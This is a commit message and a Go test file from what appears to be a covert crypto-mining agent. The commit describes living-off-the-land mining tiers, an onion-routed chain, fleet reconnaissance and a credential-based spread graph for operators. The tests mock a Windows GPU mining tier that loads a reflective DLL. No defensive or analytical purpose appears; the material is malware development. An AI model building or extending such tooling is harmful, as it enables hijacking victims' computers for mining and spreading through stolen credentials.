Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_gpu_compute_test.go

@@ -0,0 +1,61 @@
+package miner
+
+import (
+	"context"
+	"runtime"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestRunGPUComputeTierMockProbe(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("gpu_compute tier requires windows")
+	}
+	SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
+		return GPUComputeProbe{
+			CUDAAvailable:  true,
+			StratumReady:   true,
+			KernelPath:     "cuda_reflective_dll",
+			ReflectiveDLL:  true,
+			DiagnosticOnly: true,
+		}
+	})
+	defer SetGPUComputeProbe(nil)
+
+	attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			GPUEnabled: true,
+			RVNWallet:  "wallet",
+			PoolHost:   "pool.example.com",
+			Wallet:     "cmr-wallet",
+		},
+	})
+	if !attempt.OK {
+		t.Fatalf("attempt=%+v", attempt)
+	}
+	if attempt.Details["cuda"] != true {
+		t.Fatalf("details=%v", attempt.Details)
+	}
+}
+
+func TestRunGPUComputeTierNoKernelGracefulSkip(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("gpu_compute tier requires windows")
+	}
+	SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
+		return GPUComputeProbe{StratumReady: true}
+	})
+	defer SetGPUComputeProbe(nil)
+
+	attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			GPUEnabled: true,
+			RVNWallet:  "wallet",
+			PoolHost:   "pool.example.com",
+		},
+	})
+	if attempt.OK {
+		t.Fatal("expected failure without CUDA/HLSL")
+	}
+}